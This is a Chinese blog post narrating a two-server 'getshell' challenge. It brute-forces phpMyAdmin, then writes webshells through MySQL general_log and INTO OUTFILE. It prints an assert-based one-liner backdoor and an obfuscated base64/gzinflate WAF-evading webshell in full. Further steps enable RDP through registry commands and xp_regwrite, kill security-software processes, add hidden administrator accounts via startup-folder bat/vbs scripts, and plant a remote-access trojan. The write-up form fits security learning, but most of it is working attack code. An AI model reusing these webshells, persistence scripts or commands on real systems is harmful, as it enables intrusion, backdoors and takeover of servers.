美文网首页学习网络安全实验室
getshell之后难忘的经历

getshell之后难忘的经历

作者: 蚁景科技 | 来源:发表于2018-09-13 14:37 被阅读1455次

    本文为原创文章 转载请注明出处!


    1前言

    背景是这样的,大佬moza在两台服务器搭了一道题,说是组合getshell 

    问过Moza大佬,说投稿前要打码。

    2整理思路

    直接测试第二个,加了waf的那台服务器 打开链接,发现有部分源码泄露

    根据源码提示,无报错,那是基于时间的延迟注入,那可以注出账号密码,一般和登陆后台结合

    那先找后台,直接御剑扫目录,只发现/phpmyadmin/目录

    并且还把我ip给ban了,幸亏我是校园网,无数次断开外网重连。

    到这里,基本确定就是延时注入拿到phpmyadmin的账号密码,然后进行phpmyadmin的后台getshell

    3测试开始

    后台查询语句:$sql="select* from userinfo where id =$uid";这里id不需要绕过,直接上测试语句

    1 andif(0=1,1,sleep(6))

    居然直接返回,正确应该是等待6秒的。我怀疑是过滤了空格和and,用+,/**/,%230E等代替空格,大小写,双写,中间插空字符,一样不行。去问moza大佬,说你再想想。好吧,百度一波,没找到啥有用的,哪位大佬知道的望指教

    4爆破

    嗯,回到起点,这时我点开phpmyadmin后台页面,突然有个小想法

    没有验证码的,那我可以直接爆破出账号密码,据我了解moza大佬有点懒,应该会是弱口令。我拿出我收藏的字典,利用burpsuite的爆破模块进行爆破,字典有点大,我是以clusterbomb方式,又没设置多线程,所以会很慢。先让它跑先。到了下午,还没跑出来,1万多条只跑了6000多。关掉吧,应该是字典问题,把字典一些常见的弱口令复制出来,再结合一些关键词rootmoza,进行组合字典。然后抓包继续爆破

    每爆破一百多条,ip就被ban掉,苦逼的重新整理字典重新爆破,最后终于有点结果。尝试这几组特殊结果,root  xxxx成功,登陆成功

    5phpmyadmin 后台getshell

    接下来就是phpmyadmin后台getshell,一个老套路加新姿势,先找绝对路径,报错,google,访问phpmyadmin特定文件,找phpinfo无法爆出路径。在变量可知道mysql的绝对路径,那网站根目录会是www或WWW

    后来想到在generaload file利用日志文件可以验证,路径正确,成功修改日志文件的路径,错误会报错ps:这里的generalload file 后面的新姿势会用到

    老套路:直接从表导出数据:(我一开始执行写入不了,后来改先执行前两句,再进入创建的表执行下一句)

    CREATETABLE `mysql`.`study` (`mozhe` TEXT NOT NULL );

    INSERTINTO `mysql`.`study` (`mozhe` )VALUES ('<?php@eval_r($_POST[“mozhe”])?>');

    SELECT7on FROM study INTO OUTFILE 'C:/web/WWW/mozhe.php';

    尝试老套路,直接失败,意料之中,因为之前moza说开了waf和禁用了一些函数的

    showglobal variables like '%secure%';

    果然securefile priv值为null,不能进行导出导入数据。新姿势,针对intooutfile 被禁用,无法导出导入文件。当然也可以先设置general_log变量为on和general_log_file为我们已知的路径,最后执行最后的语句

    SETglobal general_log='on';

    SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果没有shell.php会自动创建

    SELECT'<?php assert($_POST["cmd"]);?>';

    利用新姿势,成功在mysql的日志文件中写入一句话并成功解析php文件,webshell路径为日志文件shell.php

    在我开开心心连菜刀时,我懵了。。。

    直接被拦截了,看来是waf和防火墙,菜刀被狗吃了,连一次ban一次ip

    6漫漫getshell路

    之后想到,第一、免杀过狗菜刀、xise配合免杀一句话试试:上传免杀一句话

    .<?php

    /*

    PHP一句话木马

    assert($string)

    */

    $arr= array('a','s','s','e','r','t');

    $func= '';

    for($i=0;$i<count($arr);$i++){

    $func.= $func . $arr[$i];

    }

    $func($_REQUEST['c']);

    ?>

    下载免杀过狗菜刀、xise一大丢附带软件,坑爹,去ichunqiu52pojie pansousou 基本资源都过期了。

    找到一个,尝试与免杀一句话,连接,还是狗厉害点。第二,利用一句话原理,本地上次一个大马,或者直接列目录读文件,百度、百度

    https://wenku.baidu.com/view/97278d2a7375a417866f8f1d.html

    一句话基本原理都有讲,没找到想要的,留到以后学学,尝试就上传大马,利用phpmyadmin新姿势,上传普通大马,写进日志文件shell.php,无法正常解析,怀疑是与之前写入的一句话有影响,重新新建个shell1.php日志文件,失败

    可能是大马过大,写入的数据有大小限制

    下载个精小php大马

    http://webshell8.com/

    内存大小2k,上传还是失败。静下来想想,我本地可以搭一个环境,本地试验下写入的日志文件嘛,说干就干,phpstudy走起,进入我的phpmyadmin管理页面,本地我写入刚下载的大马,完整的上传进去了,不过连接失败

    反复测试,删除一些多余东西。后来有所发现,原因是多了后面的一些日志信息导致无法正常解析大马,那就注释掉

    利用/*注释

    构造

    SELECT'<?php

    $password='admin';//登录密码

    //本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。

    //功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。

    $html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*//*';

    上面的是大马源码,执行时会报错,但写进mysql日志文件shell.php了

    访问大马,执行成功

    可以看到大马成功解析,虽然也报了不少错误,但不影响核心功能。进去重新上传个大马damaxiao.php

    终于getshell了,同理也把39.xx.xx.x9这台服务器也getshell成功

    7添加用户

    权限很高,直接是system权限直接利用大马添加用户

    39.xx.xx.xx9

    不过3389端口没开,小白就喜欢直接利用大佬们的exp直接开启端口,开启3389的SQL语句:syue.com/xiaohua.asp?id=100;execmaster.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;–

    开3389端口的命令:

    REG   ADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal”“Server/vfDenyTSConnections /t REG_DWORD /d 0 /f

    很大可能不成功,预料之中,但有一个不常见的12345端口,可能是远程连接服务端口

    本地没装nmap,利用webrobot扫下,看能不能识别,12345端口对应啥服务

    没啥提示,突然模糊记得他说过这台服务器3389端口不行,换了个端口。尝试12345

    39.xx.xx.xx9拿下

    另一台,12x.xx.xx.x2权限也很高,开了3389。不过有d盾和阿里云防护,变态监控无法添加用户,结束阿里云,d盾进程taskkill/im 进程名/f

    还是添加失败

    百度一下systeminfo

    KB952004、KB956572、KB970483这三个补丁,分别对应,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权

    都打了补丁,利用api的wscript组件添加,找到它本地的cmd路径,无法执行cmd命令

    Shell.users组件也一样添加失败

    看了许多大佬的渗透笔记

    https://blog.csdn.net/u013278898/article/details/39024035

    https://blog.csdn.net/Fly_hps/article/details/80568660

    很多骚思路

    ftp添加用户

    注册表添加用户

    上传cmd执行net1,net2添加用户

    爆用户密码,上传“PwDump7,破解当前管理密码(hash值)”,俩执行PwDump7.exe,之后到网站去解密。小白对大佬们膜拜,这些思路的以后一个一个去复现下

    8开机自启动脚本添加用户

    在这里看到一个可以写开机自启vbsbat执行脚本进行添加用户,猛地觉得有希望。首先找到开机启动的绝对路径,当前系统为WINNT32,百度其启动路径,一番查找后,终于发先它与win8.1的路径一样,开机启动路径:

    C:/ProgramData/Microsoft/Windows/StartMenu/Programs/Startup

    执行脚本如下:

    *.bat

    @echooff

    netuser mozhe1 123321 /add

    netlocalgroup administartors mozhe1 /add

    *.vbs

    setwshshell=createobject("wscript.shell")

    wshshell.run"net user mozhe2 123321 /add",0

    wshshell.run"net localgroup administrators mozhe2 /add",0

    上传脚本

    然后就重启服务器shutdown /r,没想到服务器是重启了,可是他的php,apache,sql等环境没重启,才记得是phpstudy,只能叫moza大佬重启下,期待的Netuser 没有添加成功,不明白,继续费脑力中,后来莫名想起一个工具,大灰狼远控,我想能不能生成远控木马,放到开机自启动目录

    本地监听中

    上传生成的远控马

    重启服务器shutdown /r,没反应,这就尴尬了,可能被狗杀了,想想有没有过狗的,但暂时找不到资源

    9峰回路转添加成功

    就在我决定放弃了,睡觉了的时候,手贱迷茫的乱打netuser mozhe131 fbb.54asfd /add

    卧槽!!!居然成功了,我不敢相信的默默地添加管理组

    Good!!突然想起一句话,蓦然回首,那人却在灯火阑珊处。后来知道是设置了密码策略,gg,我记得信息安全这门课学过的,对不起老师啊。那之前的添加开机自启动的脚本思路应该是对的,修改下密码,测试一番,继续重启动服务器shutdown/r    重启开机后Net user ,终于。。。

    不过.bat添加的只是标准用户,.vbs添加的是管理员,应该是.bat脚本的最后一句话没有执行成功,留到下次测试下。

    远程登陆

    终于完成,不是太完美,但心满意足了,睡觉去了,要猝死的。。。熬夜。大马用户搞完也就删了。


    文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

    相关文章

      网友评论

        本文标题:getshell之后难忘的经历

        本文链接:https://www.haomeiwen.com/subject/ovpwgftx.html